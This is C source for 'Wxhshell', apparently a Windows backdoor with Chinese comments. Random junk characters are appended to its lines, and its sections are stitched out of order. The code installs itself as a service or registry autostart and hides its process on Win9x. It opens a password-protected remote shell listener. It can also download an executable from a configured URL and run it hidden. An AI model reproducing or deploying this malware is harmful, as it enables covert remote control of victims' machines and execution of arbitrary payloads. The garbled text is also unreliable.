ULONG InheritedFromUniqueProcessId; zj)[Sntn?
} PROCESS_BASIC_INFORMATION; Kj>_XaFCg!
8ksDXf`.
PROCNTQSIP NtQueryInformationProcess; dk ?0r
,J#5Y.
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; x[kdQj2[&
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 7I
8vP)qy8
HANDLE hProcess; / L8=8
PROCESS_BASIC_INFORMATION pbi; D.GSl
u!S{[7 FY
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 0?sp
if(NULL == hInst ) return 0; Aws
TDM
_[7uLWyC9
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); zBR]bk\
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); +$'/!vN
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); BW;u?1Xa
(^4%Fk&I-
if (!NtQueryInformationProcess) return 0; 7> Qt O
32Z4&~I
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ~!OjdE!u
if(!hProcess) return 0; U#P#YpD;==
y%y#Pb|
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; q.t5L=l^
r
mB~&nDU
CloseHandle(hProcess); 6bn-NY:i
b +_E)4
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); }1P
if(hProcess==NULL) return 0; yC5|"+
A$
*$1)&2i
HMODULE hMod; 5%$#3LT|
char procName[255]; 3WYW])
unsigned long cbNeeded; V+q RDQ
>4E,_ `3N
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); z,EOyi
'$VR_N\
CloseHandle(hProcess); hg~fFj3ST
Kna'5L5"
if(strstr(procName,"services")) return 1; // 以服务启动 `xr%LsNn
+1%6-g4"
return 0; // 注册表启动 7$;$4.'
} G!IQ<FuY
{1+H\(v
// 主模块 FRW.
int StartWxhshell(LPSTR lpCmdLine) 8FITcK^
{ UTt#ltun ?
SOCKET wsl; Id0F2 [
BOOL val=TRUE; ;a`X|N9
int port=0; ao!r6:&v$e
struct sockaddr_in door; 5 $J
@6SSk=9_S
if(wscfg.ws_autoins) Install(); F8I<4S
@n(In$
port=atoi(lpCmdLine); ^q`*!B9@
kes'q8k
if(port<=0) port=wscfg.ws_port; $%-?S]6)
Ymu=G3-
WSADATA data; ZIp=JR8o$
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; u/f&Wq/
p3o?_ !Z
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; _u>>+6,p
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); |*5nr5c_L
door.sin_family = AF_INET; 5,Y2Lzr
door.sin_addr.s_addr = inet_addr("127.0.0.1"); K;PpS*!
door.sin_port = htons(port); 2'U9!.o
>e ;f{
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { O~el2
closesocket(wsl); Q:\hh=^
return 1; bRK9Qt#3
} Tjqn::~D
bph*X{lFK
if(listen(wsl,2) == INVALID_SOCKET) { \t@`]QzG:
closesocket(wsl); 4;||g@f'[
return 1; cIp h$@
} i`$rzXcS
Wxhshell(wsl); /(aX>_7jg
WSACleanup(); A2d2V**Z
gOM`I+CwT
return 0; pS;dvZ
D.b<I79bX
} ,0bM*qob
MVdx5,t
// 以NT服务方式启动 :N}KScS|Wa
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv )
lijy?:__
{ cG:`Zj~4
DWORD status = 0; d
]
;pG(
DWORD specificError = 0xfffffff; )[*O^bPowI
pt#[.n#f
serviceStatus.dwServiceType = SERVICE_WIN32; |5Pbc&mH8A
serviceStatus.dwCurrentState = SERVICE_START_PENDING; kVv
<tw
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; xF;v 6d
serviceStatus.dwWin32ExitCode = 0; 1\0@?6`^
serviceStatus.dwServiceSpecificExitCode = 0; r.;iO0[/
serviceStatus.dwCheckPoint = 0; Rjl __90
serviceStatus.dwWaitHint = 0; :F=nb+HZ
H)Ge#=;ckQ
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 8)8oR&(f
if (hServiceStatusHandle==0) return; sIsu >eL
p%1m&/`F
status = GetLastError(); m9@n
if (status!=NO_ERROR) H@'
@xHv
{ UAZ&*{MM^
serviceStatus.dwCurrentState = SERVICE_STOPPED; hJsC
\ C,^
serviceStatus.dwCheckPoint = 0; 4
G[hU4L
serviceStatus.dwWaitHint = 0; Yur)_m
serviceStatus.dwWin32ExitCode = status; @/L. BfTz
serviceStatus.dwServiceSpecificExitCode = specificError; |$2N$6\SP
SetServiceStatus(hServiceStatusHandle, &serviceStatus); sEyl\GL
return; S45>f(!
} 5i#w:O\cz
^^l"brPa
serviceStatus.dwCurrentState = SERVICE_RUNNING; h+D=/:B
serviceStatus.dwCheckPoint = 0; YWrY{6M
serviceStatus.dwWaitHint = 0; .`N`M9
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 'Y\"^'OU\
} ZF(=^.gc
{C6;$#7P
// 处理NT服务事件,比如:启动、停止 UE w3AO
VOID WINAPI NTServiceHandler(DWORD fdwControl) T9-a
uK0d
{ z&,sm5Lb
switch(fdwControl) T
l(uqY?9
{ |9]K:A
case SERVICE_CONTROL_STOP:
Tpx,41(k
serviceStatus.dwWin32ExitCode = 0; #9VY[<
serviceStatus.dwCurrentState = SERVICE_STOPPED; #/<Y!qV&
serviceStatus.dwCheckPoint = 0; 4 GW[GT
serviceStatus.dwWaitHint = 0; g}QTZT8
{ %W;Gf9.w
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4ZpF1Zc4B
} 5O
;^Mk|
return; z %E!tB2o
case SERVICE_CONTROL_PAUSE: *%'7~58ObS
serviceStatus.dwCurrentState = SERVICE_PAUSED; G!%XQ\a!
break; {NgY8wQB
case SERVICE_CONTROL_CONTINUE: 9mphj)`d;#
serviceStatus.dwCurrentState = SERVICE_RUNNING; gEHfsR=D6
break; ArzsZ<\//
case SERVICE_CONTROL_INTERROGATE: d ovwB`5
break; ^l&4UnLlc
}; XYF~Q9~
SetServiceStatus(hServiceStatusHandle, &serviceStatus); xGv,%'u\
} 6F/
OlK<
jYID44$
// 标准应用程序主函数 yc=#Jn?S
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) q<[ke
{ }IkEyJsk
h_GBx|c
// 获取操作系统版本 W;]UP$5l
OsIsNt=GetOsVer(); ./ y[<e
GetModuleFileName(NULL,ExeFile,MAX_PATH); ]V^.!=gh$
6v O)s!b
// 从命令行安装 6-14Htsk6
if(strpbrk(lpCmdLine,"iI")) Install(); 4Olv8nOe<
ef:$1VIBda
// 下载执行文件 ]G~N+\8]U
if(wscfg.ws_downexe) { QYw4kD}
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) lv_%
WinExec(wscfg.ws_filenam,SW_HIDE); qZ_fQ@
} PG[O?l
N<"6=z@w+
if(!OsIsNt) { RdvTtXg
// 如果时win9x,隐藏进程并且设置为注册表启动 6ri?y=-c
HideProc(); tSc>@Q_|
StartWxhshell(lpCmdLine); r9a!,^}F
} &t|V:_?/x
else AYu'ptDNr
if(StartFromService()) !2U7gVt"*
// 以服务方式启动 Mth`s{sATa
StartServiceCtrlDispatcher(DispatchTable); @j2*.ee
else }rA+W-7
// 普通方式启动 mYOdBd
StartWxhshell(lpCmdLine); )LrCoI =|
9iddanQA
return 0; +\[![r^P
} `e'o~oSu
pMZf!&tM
]op^dW1;0_
bo !]
=========================================== ~eOj:H
4[CBW
s]<r
fy=C!N&/
p2c=;5|/Q
$N+{r=
" +;wqX]SD &
=
EChH@3
#include <stdio.h> %OTA5
#include <string.h> d7tD|[(J
#include <windows.h> SAE'?_
#include <winsock2.h> cvXI]+`<3\
#include <winsvc.h> +s(IQt
#include <urlmon.h> K9O,7h:x
FDd>(!>
#pragma comment (lib, "Ws2_32.lib") E<#4G9O<
#pragma comment (lib, "urlmon.lib") ZR-s{2sl
%v+fN?%x,d
#define MAX_USER 100 // 最大客户端连接数 u"8 ;fS
#define BUF_SOCK 200 // sock buffer ~eV!!38
J
#define KEY_BUFF 255 // 输入 buffer CNRU"I+jU
xAd>",=~
#define REBOOT 0 // 重启 s3_e7D ^H
#define SHUTDOWN 1 // 关机 Vkvb=
:Nj`_2
#define DEF_PORT 5000 // 监听端口 V3A>Ag+^~
/$Tl#
#define REG_LEN 16 // 注册表键长度 Sd<@X@iU8D
#define SVC_LEN 80 // NT服务名长度 Fx[A8G
o=RqegL
// 从dll定义API _`X#c-J
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 2hwXWTSu
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); "X{aS}
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); O*J_+6
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); |h=+&*(:
hr!f:D
// wxhshell配置信息 FH`'1iVH
struct WSCFG { ADv"_bB:h
int ws_port; // 监听端口 {Sr=SE
char ws_passstr[REG_LEN]; // 口令 'K@{vB
int ws_autoins; // 安装标记, 1=yes 0=no r0g/ :lJi
char ws_regname[REG_LEN]; // 注册表键名 97]a-)SA
char ws_svcname[REG_LEN]; // 服务名 S-LZ(o{ZL
char ws_svcdisp[SVC_LEN]; // 服务显示名 q~Q)'*m
char ws_svcdesc[SVC_LEN]; // 服务描述信息 ,JQxs7@2k
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 @X|i@{<';
int ws_downexe; // 下载执行标记, 1=yes 0=no igj={==m
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" $uFh$f
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Q{l*62Bx
v<7Gln
}; D _bkUR1
{r].SrW9s9
// default Wxhshell configuration `J=1&ae